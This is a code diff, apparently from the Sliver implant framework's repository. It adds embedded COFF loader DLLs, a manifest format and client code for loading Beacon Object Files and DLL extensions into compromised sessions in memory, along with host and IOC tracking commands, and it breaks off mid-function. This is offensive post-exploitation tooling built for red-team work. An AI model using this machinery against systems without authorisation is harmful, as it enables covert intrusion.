Moved asset setup to client/console

Hosts

client/assets/.gitignore

@@ -0,0 +1,9 @@
+fs/*.zip
+fs/extensions/darwin/amd64/
+fs/extensions/darwin/arm64/
+fs/extensions/linux/amd64/
+fs/extensions/windows/amd64/
+fs/extensions/darwin/386/
+fs/extensions/darwin/386/
+fs/extensions/linux/386/
+fs/extensions/windows/386/

client/assets/assets.go

@@ -19,15 +19,29 @@ package assets
 */
 
 import (
+	"embed"
+	"fmt"
+	"io/ioutil"
 	"log"
 	"os"
 	"os/user"
 	"path"
+	"strings"
+
+	ver "github.com/bishopfox/sliver/client/version"
+)
+
+var (
+	//go:embed fs/extensions/*
+	assetsFs embed.FS
 )
 
 const (
 	// SliverClientDirName - Directory storing all of the client configs/logs
 	SliverClientDirName = ".sliver-client"
+	// SliverExtensionsDirName - Directory storing the client side extensions
+	SliverExtensionsDirName = "extensions"
+	versionFileName         = "version"
 )
 
 // GetRootAppDir - Get the Sliver app dir ~/.sliver-client/
@@ -42,3 +56,89 @@ func GetRootAppDir() string {
 	}
 	return dir
 }
+
+// GetExtensionsDir - Get the Sliver extension directory: ~/.sliver-client/extensions
+func GetExtensionsDir() string {
+	user, _ := user.Current()
+	dir := path.Join(user.HomeDir, SliverClientDirName, SliverExtensionsDirName)
+	if _, err := os.Stat(dir); os.IsNotExist(err) {
+		err = os.MkdirAll(dir, 0700)
+		if err != nil {
+			log.Fatal(err)
+		}
+	}
+	return dir
+}
+
+func assetVersion() string {
+	appDir := GetRootAppDir()
+	data, err := ioutil.ReadFile(path.Join(appDir, versionFileName))
+	if err != nil {
+		return ""
+	}
+	return strings.TrimSpace(string(data))
+}
+
+func saveAssetVersion(appDir string) {
+	versionFilePath := path.Join(appDir, versionFileName)
+	fVer, _ := os.Create(versionFilePath)
+	defer fVer.Close()
+	fVer.Write([]byte(ver.GitCommit))
+}
+
+// Setup - Extract or create local assets
+func Setup(force bool, echo bool) {
+	appDir := GetRootAppDir()
+	localVer := assetVersion()
+	if force || localVer == "" || localVer != ver.GitCommit {
+		if echo {
+			fmt.Printf("Unpacking assets ...\n")
+		}
+		err := setupCoffLoaderExt(appDir)
+		if err != nil {
+			fmt.Println(err)
+			log.Fatal(err)
+		}
+		saveAssetVersion(appDir)
+	}
+}
+
+func setupCoffLoaderExt(appDir string) error {
+	extDir := GetExtensionsDir()
+	win32ExtDir := path.Join("windows", "386")
+	win64ExtDir := path.Join("windows", "amd64")
+	coffLoader32 := path.Join("fs", SliverExtensionsDirName, win32ExtDir, "COFFLoader.x86.dll")
+	coffLoader64 := path.Join("fs", SliverExtensionsDirName, win64ExtDir, "COFFLoader.x64.dll")
+	manifestPath := path.Join("fs", SliverExtensionsDirName, "manifest.json")
+	loader64, err := assetsFs.ReadFile(coffLoader64)
+	if err != nil {
+		return err
+	}
+	loader32, err := assetsFs.ReadFile(coffLoader32)
+	if err != nil {
+		return err
+	}
+	manifest, err := assetsFs.ReadFile(manifestPath)
+	if err != nil {
+		return err
+	}
+	localWin32ExtDir := path.Join(extDir, win32ExtDir)
+	err = os.MkdirAll(localWin32ExtDir, 0700)
+	if err != nil {
+		return err
+	}
+	localWin64ExtDir := path.Join(extDir, win64ExtDir)
+	err = os.MkdirAll(localWin64ExtDir, 0700)
+	if err != nil {
+		return err
+	}
+	err = ioutil.WriteFile(path.Join(localWin32ExtDir, "COFFLoader.x86.dll"), loader32, 0744)
+	if err != nil {
+		return err
+	}
+	err = ioutil.WriteFile(path.Join(extDir, "manifest.json"), manifest, 0700)
+	if err != nil {
+		return err
+	}
+	return ioutil.WriteFile(path.Join(localWin64ExtDir, "COFFLoader.x64.dll"), loader64, 0744)
+}

client/assets/fs/extensions/manifest.json

@@ -0,0 +1,16 @@
+[
+    {
+        "name": "coff-loader",
+        "help": "Load and execute Beacon Object Files (BOFs) in memory.",
+        "entrypoint": "LoadAndRun",
+        "extFiles": [
+            {
+                "os": "windows",
+                "files": {
+                    "x64": "COFFLoader.x64.dll",
+                    "x86": "COFFLoader.x86.dll"
+                }
+            }
+        ]
+    }
+]

client/cli/cli.go

@@ -82,7 +82,7 @@ var rootCmd = &cobra.Command{
 func StartClientConsole() error {
 	configs := assets.GetConfigs()
 	if len(configs) == 0 {
-		fmt.Printf("No config files found at %s or -import\n", assets.GetConfigDir())
+		fmt.Printf("No config files found at %s (see --help)\n", assets.GetConfigDir())
 		return nil
 	}
 	config := selectConfig()
@@ -93,11 +93,11 @@ func StartClientConsole() error {
 	fmt.Printf("Connecting to %s:%d ...\n", config.LHost, config.LPort)
 	rpc, ln, err := transport.MTLSConnect(config)
 	if err != nil {
-		fmt.Printf("Connection to server failed %v", err)
+		fmt.Printf("Connection to server failed %s", err)
 		return nil
 	}
 	defer ln.Close()
-	return console.Start(rpc, command.BindCommands, func(*console.SliverConsoleClient) {}, false)
+	return console.Start(rpc, command.BindCommands, func(con *console.SliverConsoleClient) {}, false)
 }
 
 // Execute - Execute root command

client/command/commands.go

@@ -36,6 +36,7 @@ package command
 import (
 	"os"
 
+	"github.com/bishopfox/sliver/client/assets"
 	"github.com/bishopfox/sliver/client/command/backdoor"
 	"github.com/bishopfox/sliver/client/command/dllhijack"
 	"github.com/bishopfox/sliver/client/command/environment"
@@ -44,9 +45,11 @@ import (
 	"github.com/bishopfox/sliver/client/command/filesystem"
 	"github.com/bishopfox/sliver/client/command/generate"
 	"github.com/bishopfox/sliver/client/command/help"
+	"github.com/bishopfox/sliver/client/command/hosts"
 	"github.com/bishopfox/sliver/client/command/info"
 	"github.com/bishopfox/sliver/client/command/jobs"
 	"github.com/bishopfox/sliver/client/command/loot"
+	"github.com/bishopfox/sliver/client/command/macros"
 	"github.com/bishopfox/sliver/client/command/monitor"
 	"github.com/bishopfox/sliver/client/command/network"
 	"github.com/bishopfox/sliver/client/command/operators"
@@ -82,6 +85,14 @@ func BindCommands(con *console.SliverConsoleClient) {
 		con.PrintInfof("Loaded %d reaction(s) from disk\n", n)
 	}
 
+	// Attempt to load extensions from ~/.sliver-client/extensions/
+	exts, err := extensions.ParseExtensions(assets.GetExtensionsDir())
+	// Absorb error in case there's no extensions manifest
+	if err == nil {
+		for _, ext := range exts {
+			extensions.RegisterExtensionCommand(ext, con)
+		}
+	}
 	con.App.SetPrintHelp(help.HelpCmd(con)) // Responsible for display long-form help templates, etc.
 
 	// [ Update ] --------------------------------------------------------------
@@ -1177,6 +1188,8 @@ func BindCommands(con *console.SliverConsoleClient) {
 		LongHelp: help.GetHelpFor([]string{consts.UploadStr}),
 		Flags: func(f *grumble.Flags) {
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+
+			f.Bool("i", "ioc", false, "track uploaded file as an ioc")
 		},
 		Args: func(a *grumble.Args) {
 			a.String("local-path", "local path to the file to upload")
@@ -1525,20 +1538,20 @@ func BindCommands(con *console.SliverConsoleClient) {
 		},
 	})
 
-	// [ Extensions ] ---------------------------------------------
+	// [ Macros ] ---------------------------------------------
 
 	con.App.AddCommand(&grumble.Command{
-		Name:     consts.LoadExtensionStr,
-		Help:     "Load a sliver extension",
-		LongHelp: help.GetHelpFor([]string{consts.LoadExtensionStr}),
+		Name:     consts.LoadMacroStr,
+		Help:     "Load a sliver macro",
+		LongHelp: help.GetHelpFor([]string{consts.LoadMacroStr}),
 		Run: func(ctx *grumble.Context) error {
 			con.Println()
-			extensions.LoadExtensionCmd(ctx, con)
+			macros.LoadMacroCmd(ctx, con)
 			con.Println()
 			return nil
 		},
 		Args: func(a *grumble.Args) {
-			a.String("dir-path", "path to the extension directory")
+			a.String("dir-path", "path to the macro directory")
 		},
 		HelpGroup: consts.GenericHelpGroup,
 	})
@@ -2112,6 +2125,70 @@ func BindCommands(con *console.SliverConsoleClient) {
 	})
 	con.App.AddCommand(lootCmd)
 
+	// [ Hosts ] --------------------------------------------------------------
+	hostsCmd := &grumble.Command{
+		Name:     consts.HostsStr,
+		Help:     "Manage the database of hosts",
+		LongHelp: help.GetHelpFor([]string{consts.HostsStr}),
+		Flags: func(f *grumble.Flags) {
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			hosts.HostsCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		HelpGroup: consts.GenericHelpGroup,
+	}
+	hostsCmd.AddCommand(&grumble.Command{
+		Name:     consts.RmStr,
+		Help:     "Remove a host from the database",
+		LongHelp: help.GetHelpFor([]string{consts.HostsStr, consts.RmStr}),
+		Flags: func(f *grumble.Flags) {
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			hosts.HostsRmCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		HelpGroup: consts.GenericHelpGroup,
+	})
+	iocCmd := &grumble.Command{
+		Name:     consts.IOCStr,
+		Help:     "Manage tracked IOCs on a given host",
+		LongHelp: help.GetHelpFor([]string{consts.HostsStr, consts.IOCStr}),
+		Flags: func(f *grumble.Flags) {
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			hosts.HostsIOCCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		HelpGroup: consts.GenericHelpGroup,
+	}
+	iocCmd.AddCommand(&grumble.Command{
+		Name:     consts.RmStr,
+		Help:     "Delete IOCs from the database",
+		LongHelp: help.GetHelpFor([]string{consts.HostsStr, consts.IOCStr, consts.RmStr}),
+		Flags: func(f *grumble.Flags) {
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			hosts.HostsIOCRmCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		HelpGroup: consts.GenericHelpGroup,
+	})
+	hostsCmd.AddCommand(iocCmd)
+	con.App.AddCommand(hostsCmd)
+
 	// [ Reactions ] -----------------------------------------------------------------
 
 	reactionCmd := &grumble.Command{
@@ -2225,4 +2302,40 @@ func BindCommands(con *console.SliverConsoleClient) {
 		},
 	}
 	con.App.AddCommand(getprivsCmd)
+
+	// [ Extensions ] -----------------------------------------------------------------
+	extensionCmd := &grumble.Command{
+		Name:      consts.ExtensionStr,
+		Help:      "Manage sliver extensions",
+		LongHelp:  help.GetHelpFor([]string{consts.ExtensionStr}),
+		HelpGroup: consts.SliverHelpGroup,
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			extensions.ListCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		Flags: func(f *grumble.Flags) {
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+	}
+	extensionCmd.AddCommand(&grumble.Command{
+		Name:      consts.LoadStr,
+		Help:      "Register a new extension",
+		LongHelp:  help.GetHelpFor([]string{consts.ExtensionStr, consts.LoadStr}),
+		HelpGroup: consts.SliverHelpGroup,
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			extensions.LoadCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		Args: func(a *grumble.Args) {
+			a.String("dir-path", "path to the extension directory")
+		},
+		Flags: func(f *grumble.Flags) {
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+	})
+	con.App.AddCommand(extensionCmd)
 }

client/command/extensions/README.md

@@ -1,4 +1,62 @@
 Extensions
-===========
+====
 
-Wraps external DLLs/tool in Sliver console commands.
+Allows to load and execute 3rd party extensions.
+
+Extensions must be loaded from a directory with the following architecture:
+
+```shell
+/path/to/extension/folder/
+├── manifest.json
+└── windows
+    ├── 386
+    │   └── extension.x86.dll
+    └── amd64
+        └── extension.x64.dll
+```
+
+The extension folder structure must follow the `GOOS/GOARCH/` scheme.
+
+Here's an example manifest:
+
+```json
+[
+{
+    "name": "foo",
+    "help": "Help for foo command",
+    "entrypoint": "RunFoo",
+    "init" :"NimMain",
+    "dependsOn": "bar",
+    "files": [
+        {
+            "os": "windows",
+            "files":{
+                "x86": "extension.x86.o",
+                "x64": "extension.x64.o",
+            }
+        }
+    ],
+    "arguments": [
+        {"name": "pid", "type": "int", "desc": "pid", "optional": false},
+    ]
+}
+]
+```
+
+The structure is the following one:
+
+- `name`: name of the extension, which will also be the name of the command in the sliver client
+- `help`: the documentation for the new command
+- `entrypoint`: the name of the exported function to call
+- `files`: a list of object pointing to the extensions files to load for each architectures and operating systems
+- `init`: the initialization function name (if relevant, can be omitted)
+- `arguments`: an optional list of objects (for DLLs), but mandatory for BOFs
+- `dependsOn`: the name of an extension required by the current extension (won't load if the dependency is not loaded)
+
+The `type` of an argument can be one of the following:
+
+- `string`: regular ASCII string
+- `wstring`: string that will be UTF16 encoded
+- `int`: will be parsed as a 32 bit unsigned integer
+- `short`: will be parsed as a 16 bit unsigned integer
+- `file`: a string to a file path on the client side which content will be passed to the BOF

client/command/extensions/load.go

@@ -1,26 +1,11 @@
 package extensions
 
-/*
-	Sliver Implant Framework
-	Copyright (C) 2019  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
 import (
+	"bytes"
 	"context"
+	"encoding/binary"
 	"encoding/json"
+	"errors"
 	"fmt"
 	"io/ioutil"
 	"os"
@@ -28,80 +13,59 @@ import (
 	"path/filepath"
 	"strings"
 
-	"github.com/bishopfox/sliver/client/command/help"
+	"golang.org/x/text/encoding/unicode"
+
 	"github.com/bishopfox/sliver/client/console"
 	consts "github.com/bishopfox/sliver/client/constants"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/desertbit/grumble"
 )
 
 const (
 	defaultTimeout = 60
-
-	windowsDefaultHostProc = `c:\windows\system32\notepad.exe`
-	linuxDefaultHostProc   = "/bin/bash"
-	macosDefaultHostProc   = "/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment"
 )
 
-var commandMap map[string]extension
-var defaultHostProc = map[string]string{
-	"windows": windowsDefaultHostProc,
-	"linux":   windowsDefaultHostProc,
-	"darwin":  macosDefaultHostProc,
-}
+var commandMap map[string]extensionCommand
 
+type extensionCommand struct {
+	Name       string              `json:"name"`
+	Help       string              `json:"help"`
+	Files      []extensionFiles    `json:"extFiles"`
+	Arguments  []extensionArgument `json:"arguments"`
+	Entrypoint string              `json:"entrypoint"`
+	DependsOn  string              `json:"dependsOn"`
+	Init       string              `json:"init"`
+	Path       string
+}
 type binFiles struct {
 	Ext64Path string `json:"x64"`
 	Ext32Path string `json:"x86"`
 }
 
-type extFile struct {
+type extensionFiles struct {
 	OS    string   `json:"os"`
 	Files binFiles `json:"files"`
 }
 
-type extensionCommand struct {
-	Name           string    `json:"name"`
-	Entrypoint     string    `json:"entrypoint"`
-	Help           string    `json:"help"`
-	LongHelp       string    `json:"longHelp"`
-	AllowArgs      bool      `json:"allowArgs"`
-	DefaultArgs    string    `json:"defaultArgs"`
-	ExtensionFiles []extFile `json:"extFiles"`
-	IsReflective   bool      `json:"isReflective"`
-	IsAssembly     bool      `json:"IsAssembly"`
+type extensionArgument struct {
+	Name     string `json:"name"`
+	Type     string `json:"type"`
+	Desc     string `json:"desc"`
+	Optional bool   `json:"optional"`
 }
 
-func (ec *extensionCommand) getDefaultProcess(targetOS string) (proc string, err error) {
-	proc, ok := defaultHostProc[targetOS]
-	if !ok {
-		err = fmt.Errorf("no default process for %s target, please specify one", targetOS)
-	}
-	return
-}
-
-type extension struct {
-	Name     string             `json:"extensionName"`
-	Commands []extensionCommand `json:"extensionCommands"`
-	Path     string
-}
-
-func (e *extension) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
-	for _, c := range e.Commands {
-		if cmdName == c.Name {
-			for _, ef := range c.ExtensionFiles {
-				if targetOS == ef.OS {
-					switch targetArch {
-					case "x86":
-						filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext32Path)
-					case "x64":
-						filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext64Path)
-					default:
-						filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext64Path)
-					}
-				}
+func (e *extensionCommand) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
+	for _, ef := range e.Files {
+		if targetOS == ef.OS {
+			switch targetArch {
+			case "x86":
+				filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext32Path)
+			case "x64":
+				filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext64Path)
+			default:
+				filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext64Path)
 			}
-
 		}
 	}
 	if filePath == "" {
@@ -110,132 +74,239 @@ func (e *extension) getFileForTarget(cmdName string, targetOS string, targetArch
 	return
 }
 
-func (e *extension) getCommandFromName(name string) (extCmd *extensionCommand, err error) {
-	for _, x := range e.Commands {
-		if x.Name == name {
-			extCmd = &x
-			return
-		}
-	}
-	err = fmt.Errorf("no extension command found for name %s", name)
-	return
-}
-
-// LoadExtensionCmd - Locally load an extension into the Sliver shell.
-func LoadExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-
+func LoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	dirPath := ctx.Args.String("dir-path")
-	if dirPath == "" {
-		con.PrintErrorf("Please provide an extension path\n")
+	extCmds, err := ParseExtensions(dirPath)
+	if err != nil {
+		con.PrintErrorf("Error: %s\n", err)
 		return
 	}
 
-	// retrieve extension manifest
-	manifestPath := fmt.Sprintf("%s/%s", dirPath, "manifest.json")
+	for _, extCmd := range extCmds {
+		// do not add if the command already exists
+		if cmdExists(extCmd.Name, con.App) {
+			con.PrintErrorf("%s command already exists\n", extCmd.Name)
+			continue
+		}
+		RegisterExtensionCommand(extCmd, con)
+		con.PrintInfof("Added %s command: %s\n", extCmd.Name, extCmd.Help)
+	}
+}
+
+func ParseExtensions(extPath string) ([]*extensionCommand, error) {
+	manifestPath := filepath.Join(extPath, "manifest.json")
 	jsonBytes, err := ioutil.ReadFile(manifestPath)
 	if err != nil {
-		con.PrintErrorf("%s\n", err)
+		return nil, err
 	}
-	// parse it
-	ext := &extension{}
-	err = json.Unmarshal(jsonBytes, ext)
+	extensionsCmds := make([]*extensionCommand, 0)
+	err = json.Unmarshal(jsonBytes, &extensionsCmds)
 	if err != nil {
-		con.PrintErrorf("Error loading extension: %v", err)
-		return
+		return nil, err
 	}
-	ext.Path = dirPath
-	// for each extension command, add a new app command
-	for _, extCmd := range ext.Commands {
-		// do not add if the command already exists
-		if cmdExists(extCmd.Name, ctx.App) {
-			con.PrintErrorf("%s command already exists\n", extCmd.Name)
-			return
-		}
-		con.PrintInfof("Adding %s command: %s\n", extCmd.Name, extCmd.Help)
-
-		// Have to use a global map here, as passing the extCmd
-		// either by value or by ref fucks things up
-		commandMap[extCmd.Name] = *ext
-		helpMsg := fmt.Sprintf("[%s] %s", ext.Name, extCmd.Help)
-		extensionCmd := &grumble.Command{
-			Name:     extCmd.Name,
-			Help:     helpMsg,
-			LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
-			Run: func(extCtx *grumble.Context) error {
-				con.Println()
-				runExtensionCommand(extCtx, con)
-				con.Println()
-				return nil
-			},
-			Flags: func(f *grumble.Flags) {
-				if extCmd.IsAssembly {
-					f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
-					f.String("c", "class", "", "Optional class name (required for .NET DLL)")
-					f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
-					f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
-				}
-				f.String("p", "process", "", "Path to process to host the shared object")
-				f.Bool("s", "save", false, "Save output to disk")
-				f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
-			},
-			Args: func(a *grumble.Args) {
-				a.StringList("arguments", "arguments", grumble.Default([]string{}))
-			},
-			HelpGroup: consts.ExtensionHelpGroup,
-		}
-		con.App.AddCommand(extensionCmd)
+	for _, extCmd := range extensionsCmds {
+		extCmd.Path = extPath
+		commandMap[extCmd.Name] = *extCmd
 	}
-	con.PrintInfof("%s extension has been loaded\n", ext.Name)
+	return extensionsCmds, nil
 }
 
-func runExtensionCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
+func RegisterExtensionCommand(extCmd *extensionCommand, con *console.SliverConsoleClient) {
+	commandMap[extCmd.Name] = *extCmd
+	helpMsg := extCmd.Help
+	extensionCmd := &grumble.Command{
+		Name: extCmd.Name,
+		Help: helpMsg,
+		Run: func(extCtx *grumble.Context) error {
+			con.Println()
+			runExtensionCmd(extCtx, con)
+			con.Println()
+			return nil
+		},
+		Flags: func(f *grumble.Flags) {
+			f.Bool("s", "save", false, "Save output to disk")
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Args: func(a *grumble.Args) {
+			if len(extCmd.Arguments) > 0 {
+				// BOF specific
+				for _, arg := range extCmd.Arguments {
+					var (
+						argFunc      func(string, string, ...grumble.ArgOption)
+						defaultValue grumble.ArgOption
+					)
+					switch arg.Type {
+					case "int", "short":
+						argFunc = a.Int
+						defaultValue = grumble.Default(0)
+					case "string", "wstring", "file":
+						argFunc = a.String
+						defaultValue = grumble.Default("")
+					}
+					if arg.Optional {
+						argFunc(arg.Name, arg.Desc, defaultValue)
+					} else {
+						argFunc(arg.Name, arg.Desc)
+					}
+				}
+			} else {
+				a.StringList("arguments", "arguments", grumble.Default([]string{}))
+			}
+		},
+		HelpGroup: consts.ExtensionHelpGroup,
+	}
+	con.App.AddCommand(extensionCmd)
+}
+
+func ListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session := con.ActiveSession.GetInteractive()
 	if session == nil {
 		return
 	}
+
+	extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
+		Request: con.ActiveSession.Request(ctx),
+	})
+	if err != nil {
+		con.PrintErrorf("Error: %s", err)
+		return
+	}
+
+	if extList.Response != nil && extList.Response.Err != "" {
+		con.PrintErrorf("Error: %s", extList.Response.Err)
+		return
+	}
+	if len(extList.Names) > 0 {
+		con.PrintInfof("Loaded extensions:\n")
+		for _, ext := range extList.Names {
+			con.Printf("- %s\n", ext)
+		}
+	}
+}
+
+func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console.SliverConsoleClient, ext *extensionCommand) error {
+	var extensionList []string
+	binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
+	if err != nil {
+		return err
+	}
+	// Try to find the extension in the loaded extensions
+	if len(session.Extensions) == 0 {
+		extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
+			Request: con.ActiveSession.Request(ctx),
+		})
+		if err != nil {
+			con.PrintErrorf("Error: %s\n", err.Error())
+			return err
+		}
+		if extList.Response != nil && extList.Response.Err != "" {
+			return errors.New(extList.Response.Err)
+		}
+		extensionList = extList.Names
+	} else {
+		extensionList = session.Extensions
+	}
+	depLoaded := false
+	for _, extName := range extensionList {
+		if !depLoaded && extName == ext.DependsOn {
+			depLoaded = true
+		}
+		if ext.Name == extName {
+			return nil
+		}
+	}
+	// Extension not found, let's load it
+	if filepath.Ext(binPath) == ".o" {
+		// BOFs are not loaded by the DLL loader, but we make sure the loader itself is loaded
+		// Auto load the coff loader if we have it
+		if !depLoaded {
+			if errLoad := loadDep(session, con, ctx, ext.DependsOn); errLoad != nil {
+				return errLoad
+			}
+		}
+		return nil
+	}
+	binData, err := ioutil.ReadFile(binPath)
+	if err != nil {
+		return err
+	}
+	if errRegister := registerExtension(con, ext, binData, session, ctx); errRegister != nil {
+		return errRegister
+	}
+	// Update session info
+	if filepath.Ext(binPath) != ".o" {
+		// Don't update session for BOFs, we don't cache them
+		// on the implant side (yet)
+		// update the Session info
+		_, err = con.Rpc.UpdateSession(context.Background(), &clientpb.UpdateSession{
+			Extensions: extensionList,
+			SessionID:  session.ID,
+		})
+		if err != nil {
+			con.PrintErrorf("Error: %s\n", err.Error())
+			return err
+		}
+	}
+	return nil
+}
+
+func registerExtension(con *console.SliverConsoleClient, ext *extensionCommand, binData []byte, session *clientpb.Session, ctx *grumble.Context) error {
+	registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
+		Name:    ext.Name,
+		Data:    binData,
+		OS:      session.OS,
+		Init:    ext.Init,
+		Request: con.ActiveSession.Request(ctx),
+	})
+	if err != nil {
+		return err
+	}
+	if registerResp.Response != nil && registerResp.Response.Err != "" {
+		return errors.New(registerResp.Response.Err)
+	}
+	return nil
+}
+
+func loadDep(session *clientpb.Session, con *console.SliverConsoleClient, ctx *grumble.Context, depName string) error {
+	depExt, f := commandMap[depName]
+	if f {
+		depBinPath, err := depExt.getFileForTarget(depExt.Name, session.OS, session.Arch)
+		if err != nil {
+			return err
+		}
+		depBinData, err := ioutil.ReadFile(depBinPath)
+		if err != nil {
+			return err
+		}
+		return registerExtension(con, &depExt, depBinData, session, ctx)
+	}
+	return fmt.Errorf("missing dependency %s", depName)
+}
+
+func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	var (
+		callExtension *sliverpb.CallExtension
+		err           error
+		extensionArgs []byte
+		extName       string
+		entryPoint    string
+	)
+	session := con.ActiveSession.GetInteractive()
+	if session == nil {
+		return
+	}
+
 	ext, ok := commandMap[ctx.Command.Name]
 	if !ok {
 		con.PrintErrorf("No extension command found for `%s` command\n", ctx.Command.Name)
 		return
 	}
 
-	binPath, err := ext.getFileForTarget(ctx.Command.Name, session.GetOS(), session.GetArch())
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
+	if err = loadExtension(ctx, session, con, &ext); err != nil {
+		con.PrintErrorf("Error: %s\n", err)
 		return
 	}
 
-	c, err := ext.getCommandFromName(ctx.Command.Name)
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-
-	args := ctx.Args.StringList("arguments")
-	var extArgs string
-	if len(c.DefaultArgs) != 0 && len(args) == 0 {
-		extArgs = c.DefaultArgs
-	} else {
-		extArgs = strings.Join(args, " ")
-	}
-	entryPoint := c.Entrypoint
-	processName := ctx.Flags.String("process")
-	if processName == "" {
-		processName, err = c.getDefaultProcess(session.GetOS())
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-	}
-	isDLL := false
-	if filepath.Ext(binPath) == ".dll" {
-		isDLL = true
-	}
-	binData, err := ioutil.ReadFile(binPath)
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
 	var outFilePath *os.File
 	if ctx.Flags.Bool("save") {
 		outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
@@ -245,86 +316,142 @@ func runExtensionCommand(ctx *grumble.Context, con *console.SliverConsoleClient)
 			return
 		}
 	}
-	if c.IsAssembly {
-		ctrl := make(chan bool)
-		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
-		con.SpinUntil(msg, ctrl)
-		executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
-			Request:   con.ActiveSession.Request(ctx),
-			IsDLL:     isDLL,
-			Process:   processName,
-			Arguments: extArgs,
-			Assembly:  binData,
-			Arch:      ctx.Flags.String("arch"),
-			Method:    ctx.Flags.String("method"),
-			ClassName: ctx.Flags.String("class"),
-			AppDomain: ctx.Flags.String("app-domain"),
-		})
-		ctrl <- true
-		<-ctrl
+	binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	isBOF := filepath.Ext(binPath) == ".o"
+
+	// BOFs (Beacon Object Files) are a specific kind of extensions
+	// than require another extension (a COFF loader) to be present.
+	// BOFs also have strongly typed arguments that need to be parsed in the proper way.
+	// This block will pack both the BOF data and its arguments into a single buffer that
+	// the loader will extract and load.
+	if isBOF {
+		// Beacon Object File -- requires a COFF loader
+		extensionArgs, err = getBOFArgs(ctx, binPath, ext)
 		if err != nil {
-			con.PrintErrorf("%s\n", err)
+			con.PrintErrorf("Error: %s\n", err)
 			return
 		}
-		con.PrintInfof("Output:\n%s", string(executeAssemblyResp.GetOutput()))
-		if outFilePath != nil {
-			outFilePath.Write(executeAssemblyResp.GetOutput())
-			con.PrintInfof("Output saved to %s\n", outFilePath.Name())
-		}
-	} else if c.IsReflective {
-		ctrl := make(chan bool)
-		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
-		con.SpinUntil(msg, ctrl)
-		spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
-			Request:     con.ActiveSession.Request(ctx),
-			Args:        strings.Trim(extArgs, " "),
-			Data:        binData,
-			ProcessName: processName,
-			EntryPoint:  c.Entrypoint,
-			Kill:        true,
-		})
-		ctrl <- true
-		<-ctrl
-
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-
-		con.PrintInfof("Output:\n%s", spawnDllResp.GetResult())
-		if outFilePath != nil {
-			outFilePath.Write([]byte(spawnDllResp.GetResult()))
-			con.PrintInfof("Output saved to %s\n", outFilePath.Name())
-		}
+		extName = ext.DependsOn
+		entryPoint = commandMap[extName].Entrypoint // should exist at this point
 	} else {
-		ctrl := make(chan bool)
